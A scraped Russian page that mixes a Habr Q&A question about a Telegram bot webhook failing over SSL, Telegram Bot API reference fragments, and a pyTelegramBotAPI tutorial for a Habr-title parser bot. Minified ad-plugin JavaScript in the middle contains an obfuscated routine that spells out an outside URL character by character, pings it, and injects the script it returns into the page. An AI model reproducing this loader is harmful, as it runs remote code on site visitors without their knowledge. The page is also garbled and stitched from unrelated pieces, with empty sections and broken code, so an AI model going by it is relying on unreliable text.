Телеграм бот, или что не так с SSL сертификатом? — Хабр Q&A

Содержание
  1. Телеграм бот, или что не так с ssl сертификатом?
  2. Основы взаимодействия. ответ на команды
  3. Основы взаимодействия. ответ на картинки, документы, аудио и прочие.
  4. Основы взаимодействия. ответ на текстовые сообщения.
  5. Animation
  6. Answerinlinequery
  7. Audio
  8. Callbackgame
  9. Callbackquery
  10. Contact
  11. Document
  12. Forwardmessage
  13. Gamehighscore
  14. Getgamehighscores
  15. Getupdates
  16. Getwebhookinfo
  17. Html style
  18. Id пользователей и чатов
  19. Id сообщений
  20. Inline mode methods
  21. Inline mode objects
  22. Inlinekeyboardbutton
  23. Inlinekeyboardmarkup
  24. Inputcontactmessagecontent
  25. Inputfile
  26. Inputlocationmessagecontent
  27. Inputmessagecontent
  28. Inputtextmessagecontent
  29. Inputvenuemessagecontent
  30. Keyboardbutton
  31. Location
  32. Markdown style
  33. Message
  34. Messageentity
  35. Photosize
  36. Php – самоподписанный сертификат для бота telegram в php curl – web-answers
  37. Replykeyboardmarkup
  38. Responseparameters
  39. Setgamescore
  40. Sticker
  41. Telegram login widget
  42. Venue
  43. Video
  44. Voice
  45. Видимость сообщений в группах
  46. Внимание:
  47. Деплоим бота на heroku.
  48. Добавляем парсер в цепочку.
  49. Ещё о кнопках
  50. Запуск бота пользователем
  51. Инлайн-кнопки
  52. Инлайн-режим
  53. Какие апдейты можно получать
  54. Клавиатурные кнопки
  55. Команды
  56. Куда может писать бот
  57. Маркапы. добавляем клавиатуры для быстрого ответа.
  58. На чём пишут телеграм-ботов
  59. Оформление бота
  60. Платежи через ботов
  61. Поздравляю!
  62. Приватность и геопозиция в инлайне
  63. Пример:
  64. Примечание:
  65. Проблема с сертификатом в telegram
  66. Результаты инлайн-режима
  67. Создание наборов стикеров
  68. Строим цепочку ответов.
  69. Супергруппы
  70. Теория. методы взаимодействия с ботом.
  71. Установка и настройка pipenv. первый запуск.
  72. Хэндлеры. отвечаем на команды и сообщения
  73. Часть 1: регистрация бота
  74. Часть 3: получаем сообщения и говорим «привет»
  75. Юзернеймы
  76. Inlinequeryresult
  77. Sendphoto
  78. Sendmessage
  79. Resending files without reuploading
  80. Sendcontact
  81. Sendsticker
  82. Заключение
  83. Inlinequeryresultarticle
  84. Sendlocation
  85. Sendgame
  86. Sendvenue

Телеграм бот, или что не так с ssl сертификатом?

Здравствуйте!

Первичная задача – разработка бота для телеграм. Телеграм требует, что бы скрипт бота имел https адрес. На тестовом сайте, расположенном на heroku все заработало, на девелоперском нет, запросов от телеграма просто нет и все. сайт девелоперский расположен как поддомен .mos.ru. поддержка телеграма партизански молчит.

Пока изучал тему – заметил что все порталы на *.mos.ru не работают в браузере tor – он ругается на сертификат, говорит, что “The certificate is not trusted because the issuer certificate is unknown.”, остальные браузеры считают его нормальным.

Вопрос собственно следующий, есть ли какая-то проблема с сертификатом, например у того же https://pgu.mos.ru? или это какая-то специфика тора?
Ну и второй вопрос – может кто сталкивался, в чем может быть затык взаимодействия с телеграмом?

Основы взаимодействия. ответ на команды

Для взаимодействия с пользователем, т.е. для ответа на его команды и сообщения используются хэндлеры.

Начнём с самого простого: ответим на команды /start и /go

Основы взаимодействия. ответ на картинки, документы, аудио и прочие.


Для ответа на картинки, стикеры, документы, аудио и т.д. нужно всего лишь поменять content_types=[‘text’].

Рассмотрим пример с картинкой, добавив этот код.

Основы взаимодействия. ответ на текстовые сообщения.

Теперь обработаем текстовые сообщения бота. Самое важное что нам нужно знать это то, что текст сообщения храниться в message.text и то, что, чтобы обрабатывать текст в message_handler нужно передавать content_types=[‘text’].

Добавим вот такой код.

Animation

Чтобы сообщение с игрой выглядело более привлекательно, вы можете загрузить для игры анимацию с геймплее. Этот объект представляет собой файл анимации, который будет отображён в сообщении с игрой.

Answerinlinequery

Use this method to send answers to an inline query. On success, True is returned.No more than 50 results per query are allowed.

Audio

Этот объект представляет аудиозапись, которую клиенты Telegram воспинимают как музыкальный трек.

Callbackgame

Заглушка, пока не содержит никакой информации.

Callbackquery

Этот объект представляет входящий запрос обратной связи от инлайн-кнопки с заданным callback_data.

Если кнопка, создавшая этот запрос, была привязана к сообщению, то в запросе будет присутствовать поле message.

Если кнопка была показана в сообщении, отправленном при помощи встроенного режима, в запросе будет присутствовать поле inline_message_id.

Contact

Этот объект представляет контакт с номером телефона.

Document

Этот объект представляет файл, не являющийся фотографией, голосовым сообщением или аудиозаписью.

Forwardmessage

Use this method to forward messages of any kind. On success, the sent Message is returned.

Gamehighscore

Этот объект представляет собой один из рядов таблицы рекордов игры.

Getgamehighscores

Используйте этот метод, чтобы получить данные для таблицы рекордов. Этот метод возвращает счёт указанного пользователя и нескольких его соседей по таблице. В случает успеха вернёт массив объектов GameHighScore.


На текущий момент этот метод возвращает счёт пользователя и двух его ближайших соседей сверху и снизу. Кроме того вернёт топ-3 результатов, если запрошенный пользователь не находится среди них.

В ближайшем будущем количество отдаваемых данных будет изменено.

Getupdates

Этот метод используется для получения обновлений через long polling (wiki). Ответ возвращается в виде массива объектов Update.

Примечание:
  1. Этот метод не будет работать, если у вас уже подключен webhook.
  2. Во избежания повторяющихся обновлений, рекомендуется высчитывать offset каждый раз заново.

Getwebhookinfo

Содержит информацию о текущем состоянии вебхука.

ПолеТипОписание
urlStringURL вебхука, может быть пустым
has_custom_certificateBooleanTrue, если вебхук использует самозаверенный сертификат
pending_update_countIntegerКоличество обновлений, ожидающих доставки
last_error_dateIntegerОпционально. Unix-время самой последней ошибки доставки обновления на указанный вебхук
last_error_messageStringОпционально. Описание в человекочитаемом формате последней ошибки доставки обновления на указанный вебхук

Html style

To use this mode, pass HTML in the parse_mode field when using sendMessage. The following tags are currently supported:

Id пользователей и чатов

У каждого пользователя, бота, группы, канала в Телеграме есть собственный id. Различать чаты в коде бота следует именно по id, потому что он никогда не меняется.

В токене бота первая часть — это его id. Например, токен 110202174:AAHdqTcvCH1vGWJxfSeofSAs0K5PALDsaw принадлежит боту с id 110202174.

Id сообщений

Каждое сообщение в Телеграме имеет свой id. Это относится и к системным сообщениям (пользователь зашел в группу, изменилось название группы и т. д.)

Через Telegram API боты могут получать по запросу сообщения в любом чате по их id.

id сообщений в супергруппах и каналах уникальны для чата: первое сообщение в чате имеет номер 1, второе имеет номер 2 и так далее.

id сообщений в личных сообщениях и обычных группах работают по другому. Там, можно сказать, нумерация сквозная: id сообщения уникально для каждого отправившего его пользователя. Так, первое сообщение от пользователя во всех личках и группах имеет номер 1, второе сообщение от того же пользователя имеет номер 2 и так далее.

Inline mode methods

Methods and objects used in the inline mode are described in the Inline mode section.

Inline mode objects

Objects and methods used in the inline mode are described in the Inline mode section.

Inlinekeyboardbutton

Этот объект представляет одну кнопку встроенной клавиатуры. Вы обязательно должны задействовать ровно одно опциональное поле.

Inlinekeyboardmarkup

Этот объект представляет встроенную клавиатуру, которая появляется под соответствующим сообщением.

Внимание:

Эти параметры будут работать только в версиях Telegram, выпущенных позже 9 апреля 2021 года. Более старые клиенты покажут ошибку вместо сообщения.

Inputcontactmessagecontent

Represents the content of a contact message to be sent as the result of an inline query.

Про сертификаты:  Go Practice - более 41 отзыва о курсах и обучении в 2021 г

Note: This will only work in Telegram versions released after 9 April, 2021. Older clients will ignore them.

Inputfile

This object represents the contents of a file to be uploaded. Must be posted using multipart/form-data in the usual way that files are uploaded via the browser.

Inputlocationmessagecontent

Represents the content of a location message to be sent as the result of an inline query.

ПолеТипОписание
latitudeFloatLatitude of the location in degrees
longitudeFloatLongitude of the location in degrees

Note: This will only work in Telegram versions released after 9 April, 2021. Older clients will ignore them.

Inputmessagecontent

This object represents the content of a message to be sent as a result of an inline query. Telegram clients currently support the following 4 types:

Inputtextmessagecontent

Represents the content of a text message to be sent as the result of an inline query.

Inputvenuemessagecontent

Represents the content of a venue message to be sent as the result of an inline query.

Note: This will only work in Telegram versions released after 9 April, 2021. Older clients will ignore them.

Keyboardbutton

Этот объект представляет одну кнопку в клавиатуре ответа. Для обычных текстовых кнопок этот объект может быть заменён на строку, содержащую текст на кнопке.

Внимание:

Параметры request_contact и request_location будут работать только в версиях Telegram, выпущенных позже 9 апреля 2021 года. Более старые клиенты проигнорируют это поле.

Location

Этот объект представляет точку на карте.

ПолеТипОписание
longitudeFloatДолгота, заданная отправителем
latitudeFloatШирота, заданная отправителем

Markdown style

To use this mode, pass Markdown in the parse_mode field when using sendMessage. Use the following syntax in your message:

Message

Этот объект представляет собой сообщение.

Messageentity

Этот объект представляет одну из особых сущностей в текстовом сообщении. Например: хештеги, имена пользователей, ссылки итд.

Photosize

Этот объект представляет изображение определённого размера или превью файла / стикера.

Php – самоподписанный сертификат для бота telegram в php curl – web-answers

“:’

‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ c “

“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count “

“:’

‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ c “

“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};

Replykeyboardmarkup

Этот объект представляет клавиатуру с опциями ответа (см. описание ботов).

Responseparameters

Содержит информацию о том, почему запрос не был успешен.

FieldTypeDescription
migrate_to_chat_idIntegerOptional. The group has been migrated to a supergroup with the specified identifier. This number may be greater than 32 bits and some programming languages may have difficulty/silent defects in interpreting it. But it is smaller than 52 bits, so a signed 64 bit integer or double-precision float type are safe for storing this identifier.
retry_afterIntegerOptional. In case of exceeding flood control, the number of seconds left to wait before the request can be repeated

Setgamescore

Используйте этот метод, чтобы обновить игровой счёт определённого пользователя. Если сообщение было отправлено ботом, вернёт отредактированное сообщение Message, иначе True. Вернёт ошибку, если вы попытаетесь установить новый счёт меньше, чем текущий.

Sticker

Этот объект представляет стикер.

Telegram login widget

Вы можете добавить на свой сайт авторизацию через Телеграм. Процесс авторизации будет проходить так:

  1. Пользователь должен будет ввести свой номер телефона.

  2. Бот Telegram попросит подтвердить вход.

  3. Пользователь авторизуется и нажимает на “Принять” на сайте.

Telegram Login Widget не связан с Login URL button (см. раздел про кнопки выше), а является его альтернативой.

О Telegram Login Widget на сайте Телеграм

Venue

Этот объект представляет объект на карте.

Video

Этот объект представляет видеозапись.

Voice

Этот объект представляет голосовое сообщение.

Видимость сообщений в группах

Обычно бот должен реагировать именно на команды. Телеграм не уведомляет бота об остальных сообщениях, и это гарантирует приватность переписки.

Внимание:

Параметры
request_contactrequest_location
будут работать только в версиях Telegram, выпущенных позже 9 апреля 2021 года. Более старые клиенты проигнорируют это поле.

Деплоим бота на heroku.

Для начала надо зарегистрироваться на

и на

Добавляем парсер в цепочку.

Для начала нужен сам парсер. Обратим внимание на то, что во вкладках «Лучшее» и «Всё подряд» есть дополнительные фильтры: сутки, неделя, месяц и ≥10, ≥25, ≥50, ≥100 соответственно.


Парсер конечно можно написать и в 1 функцию, но я разобью на 2, так будет проще читать код.

Парсер.
import urllib.request
from bs4 import BeautifulSoup

def getTitlesFromAll(amount, rating='all'):
    output = ''
    for i in range(1, amount 1):
        try:
            if rating == 'all':
                html = urllib.request.urlopen('https://habrahabr.ru/all/page'  str(i)  '/').read()
            else:
                html = urllib.request.urlopen('https://habrahabr.ru/all/'  rating  '/page'  str(i)  '/').read()
        except urllib.error.HTTPError:
            print('Error 404 Not Found')
            break
        soup = BeautifulSoup(html, 'html.parser')
        title = soup.find_all('a', class_ = 'post__title_link')
        for i in title:
            i = i.get_text()
            output  = ('- "' i '",n')
    return output

def getTitlesFromTop(amount, age='daily'):
    output = ''
    for i in range(1, amount 1):
        try:
            html = urllib.request.urlopen('https://habrahabr.ru/top/'  age  '/page'  str(i)  '/').read()
        except urllib.error.HTTPError:
            print('Error 404 Not Found')
            break
        soup = BeautifulSoup(html, 'html.parser')
        title = soup.find_all('a', class_ = 'post__title_link')
        for i in title:
            i = i.get_text()
            output  = ('- "' i '",n')
    return output

По итогу парсер возвращает нам строку с заголовками статей, основываясь на наших запросах.

Пробуем, используя полученные знания, написать бота связанного с парсером. Я решил создать отдельный класс (это скорее всего неправильный метод, но это уже относится к питону, а не к основной теме статьи), и в объекте этого класса хранить изменяемые данные.

Итоговый код:

bot.py
import telebot
import bs4
from Task import Task
import parser

#main variables
TOKEN = '509706011:AAF7ghlYpqS5n7uF8kN0VGDCaaHnxfZxofg'
bot = telebot.TeleBot(TOKEN)
task = Task()

#handlers
@bot.message_handler(commands=['start', 'go'])
def start_handler(message):
    if not task.isRunning:
        chat_id = message.chat.id
        msg = bot.send_message(chat_id, 'Откуда парсить?')
        bot.register_next_step_handler(msg, askSource)
        task.isRunning = True

def askSource(message):
    chat_id = message.chat.id
    text = message.text.lower()
    if text in task.names[0]:
        task.mySource = 'top'
        msg = bot.send_message(chat_id, 'За какой временной промежуток?')
        bot.register_next_step_handler(msg, askAge)
    elif text in task.names[1]:
        task.mySource = 'all'
        msg = bot.send_message(chat_id, 'Какой минимальный порог рейтинга?')
        bot.register_next_step_handler(msg, askRating)
    else:
        msg = bot.send_message(chat_id, 'Такого раздела нет. Введите раздел корректно.')
        bot.register_next_step_handler(msg, askSource)
        return

def askAge(message):
    chat_id = message.chat.id
    text = message.text.lower()
    filters = task.filters[0]
    if text not in filters:
        msg = bot.send_message(chat_id, 'Такого временного промежутка нет. Введите порог корректно.')
        bot.register_next_step_handler(msg, askAge)
        return
    task.myFilter = task.filters_code_names[0][filters.index(text)]
    msg = bot.send_message(chat_id, 'Сколько страниц парсить?')
    bot.register_next_step_handler(msg, askAmount)

def askRating(message):
    chat_id = message.chat.id
    text = message.text.lower()
    filters = task.filters[1]
    if text not in filters:
        msg = bot.send_message(chat_id, 'Такого порога нет. Введите порог корректно.')
        bot.register_next_step_handler(msg, askRating)
        return
    task.myFilter = task.filters_code_names[1][filters.index(text)]
    msg = bot.send_message(chat_id, 'Сколько страниц парсить?')
    bot.register_next_step_handler(msg, askAmount)

def askAmount(message):
    chat_id = message.chat.id
    text = message.text.lower()
    if not text.isdigit():
        msg = bot.send_message(chat_id, 'Количество страниц должно быть числом. Введите корректно.')
        bot.register_next_step_handler(msg, askAmount)
        return
    if int(text) < 1 or int(text) > 11:
        msg = bot.send_message(chat_id, 'Количество страниц должно быть >0 и <11. Введите корректно.')
        bot.register_next_step_handler(msg, askAmount)
        return
    task.isRunning = False
    output = ''
    if task.mySource == 'top':
        output = parser.getTitlesFromTop(int(text), task.myFilter)
    else:
        output = parser.getTitlesFromAll(int(text), task.myFilter)
    msg = bot.send_message(chat_id, output)

bot.polling(none_stop=True)

Тут добавился

Про сертификаты:  Вопрос о документах при продаже сетевых зарядных устройств, чехлов, аккумуляторов для телефонов | РосТест

none_stop=True)

к

bot.polling

, из-за этого бот не будет падать при каждой ошибке.

Task.py

class Task():
    isRunning = False
    names = [
        ['лучшие', 'лучшее', 'топ'],
        ['всё', 'всё подряд', 'all']
    ]
    filters = [
        ['сутки', 'неделя', 'месяц'],
        ['без порога', '10', '25', '50', '100']
    ]
    filters_code_names = [
        ['daily', 'weekly', 'monthly'],
        ['all', 'top10', 'top25', 'top50', 'top100']
    ]
    mySource = ''
    myFilter = ''
    def __init__(self):
        return

parser.py

import urllib.request
from bs4 import BeautifulSoup

def getTitlesFromAll(amount, rating='all'):
    output = ''
    for i in range(1, amount 1):
        try:
            if rating == 'all':
                html = urllib.request.urlopen('https://habrahabr.ru/all/page'  str(i)  '/').read()
            else:
                html = urllib.request.urlopen('https://habrahabr.ru/all/'  rating  '/page'  str(i)  '/').read()
        except urllib.error.HTTPError:
            print('Error 404 Not Found')
            break
        soup = BeautifulSoup(html, 'html.parser')
        title = soup.find_all('a', class_ = 'post__title_link')
        for i in title:
            i = i.get_text()
            output  = ('- "' i '",n')
    return output

def getTitlesFromTop(amount, age='daily'):
    output = ''
    for i in range(1, amount 1):
        try:
            html = urllib.request.urlopen('https://habrahabr.ru/top/'  age  '/page'  str(i)  '/').read()
        except urllib.error.HTTPError:
            print('Error 404 Not Found')
            break
        soup = BeautifulSoup(html, 'html.parser')
        title = soup.find_all('a', class_ = 'post__title_link')
        for i in title:
            i = i.get_text()
            output  = ('- "' i '",n')
    return output

Ещё о кнопках

Оба типа кнопок могут составлять несколько рядов, в каждом из которых по несколько кнопок. Ограничения: в ряду может быть до 8 кнопок, а всего с сообщением до 100 кнопок.

При отправке сообщения можно выбрать одно (но не больше) из следующих действий:

Таким образом, нельзя показать оба типа кнопок одновременно.

Запуск бота пользователем

Когда пользователь впервые открывает бота, он видит кнопку “Запустить” или “Начать” (зависит от платформы пользователя), на английском — “Start”. Нажимая на эту кнопку, он отправляет команду /start.

Таким образом, первое сообщение от пользователя — это всегда /start (либо /start с параметрами, об этом ниже в разделе “Диплинки”).

…если пользователь использует официальный клиент

На стороне сервера это не проверяется, поэтому теоретически пользователь может отправить боту любое сообщение через Telegram API.

Инлайн-кнопки

Бот может оставлять кнопки под своими сообщениями.

Кнопки под сообщениями (они же inline keyboards / inline buttons) в основном бывают трёх видов:

Дополнительные виды кнопок

Инлайн-режим

Инлайн-режим (inline mode) — это специальный режим работы бота, с помощью которого пользователь может использовать бота во всех чатах.

Выглядит это так: пользователь вводит юзернейм бота в поле для ввода сообщения. После юзернейма можно ещё записать запрос (текст до 256 символов).

Появляется менюшка с результатами. Выбирая результат, пользователь отправляет сообщение.

Какие апдейты можно получать

Бот не может получить старые сообщения из чата. Бот не может получить список всех своих пользователей. Все, что может получать бот — это информацию об обновлениях. В этом заключается главная сложность разработки ботов.

Вы можете получать информацию о новых сообщениях в боте и других событиях, но только один раз. Вам придётся самим хранить список чатов, старых сообщений (если это зачем-то нужно) и так далее. Если вы случайно сотрёте/потеряете эту информацию, вы её больше никак не получите.

В Telegram API бот может чуточку больше: он может получать сообщения по id, получать список участников группы и прочее.

Клавиатурные кнопки

Есть другой тип кнопок: keyboard buttons. Они отображаются вместо клавиатуры как подсказки. При нажатии на такую кнопку пользователь просто отправит этот текст.

При этом в личных чатах с помощью кнопки можно:

Есть опция resize_keyboard, которая отвечает за то, изменять ли высоту этой “клавиатуры из кнопок”. По умолчанию она, почему-то, выключена, и тогда высота клавиатуры стандартная большая. Получаются кнопки как на этой картинке:

Чтобы показать клавиатурные кнопки, бот должен отправить сообщение. Можно отправить клавиатуру, которая свернётся (но не пропадёт) после нажатия на кнопку.

По умолчанию, если показать кнопки в группе, они будут видны всем пользователям. Вместо этого можно отобразить кнопки одновременно для этих пользователей:

Команды

Часто используемый способ “общения” пользователей с ботом — команды. Команды начинаются на “/” и состоят из латинских букв (можно использовать цифры и нижние подчеркивания).

Команды подсвечиваются как ссылки: нажатие отправляет команду в чат.

Куда может писать бот

Бот может писать в личку только тем пользователям, которые его запустили. Пользователь может заблокировать бота, и тогда бот снова не сможет ему писать.

Боты не могут писать другим ботам.

Маркапы. добавляем клавиатуры для быстрого ответа.

Наконец основной код дописан. Теперь можно передохнуть и написать маркапы. Я думаю вы неоднократно видели их, но всё же, приложу скриншот. [SCREENSHOT]

Я выведу маркапы в отдельный файл — markups.py.

В написании маркапов нет ничего сложного. Нужно лишь создать маркап, указать пару параметров, создать пару кнопок и добавить их в маркап, далее просто указываем reply_markup=markup в send_message.

Пример

markups.py

from telebot import types
source_markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
source_markup_btn1 = types.KeyboardButton('Лучшие')
source_markup_btn2 = types.KeyboardButton('Всё подряд')
source_markup.add(source_markup_btn1, source_markup_btn2)

В параметры маркапа указываем ширину строки и изменение размеров кнопок, иначе они огромны.

bot.py

def start_handler(message):
    if not task.isRunning:
        chat_id = message.chat.id
        msg = bot.send_message(chat_id, 'Откуда парсить?', reply_markup=m.source_markup)
        bot.register_next_step_handler(msg, askSource)
        task.isRunning = True

Применим полученные знания к нашему боту.

Итоговый код

markups.py

from telebot import types

start_markup = types.ReplyKeyboardMarkup(row_width=1, resize_keyboard=True)
start_markup_btn1 = types.KeyboardButton('/start')
start_markup.add(start_markup_btn1)

source_markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
source_markup_btn1 = types.KeyboardButton('Лучшие')
source_markup_btn2 = types.KeyboardButton('Всё подряд')
source_markup.add(source_markup_btn1, source_markup_btn2)

age_markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
age_markup_btn1 =  types.KeyboardButton('Сутки')
age_markup_btn2 =  types.KeyboardButton('неделя')
age_markup_btn3 =  types.KeyboardButton('Месяц')
age_markup.add(age_markup_btn1, age_markup_btn2, age_markup_btn3)

rating_markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
rating_markup_btn1 =  types.KeyboardButton('Без порога')
rating_markup_btn2 =  types.KeyboardButton('10')
rating_markup_btn3 =  types.KeyboardButton('25')
rating_markup_btn4 =  types.KeyboardButton('50')
rating_markup_btn5 =  types.KeyboardButton('100')
rating_markup.row(rating_markup_btn1, rating_markup_btn2)
rating_markup.row(rating_markup_btn3, rating_markup_btn4, rating_markup_btn5)

amount_markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
amount_markup_btn1 =  types.KeyboardButton('1')
amount_markup_btn2 =  types.KeyboardButton('3')
amount_markup_btn3 =  types.KeyboardButton('5')
amount_markup.add(amount_markup_btn1, amount_markup_btn2, amount_markup_btn3)

bot.py

import telebot
import bs4
from Task import Task
import parser
import markups as m

#main variables
TOKEN = '509706011:AAF7aaaaaaaaaaaaaaaaaaaAAAaaAAaAaAAAaa'
bot = telebot.TeleBot(TOKEN)
task = Task()

#handlers
@bot.message_handler(commands=['start', 'go'])
def start_handler(message):
    if not task.isRunning:
        chat_id = message.chat.id
        msg = bot.send_message(chat_id, 'Откуда парсить?', reply_markup=m.source_markup)
        bot.register_next_step_handler(msg, askSource)
        task.isRunning = True

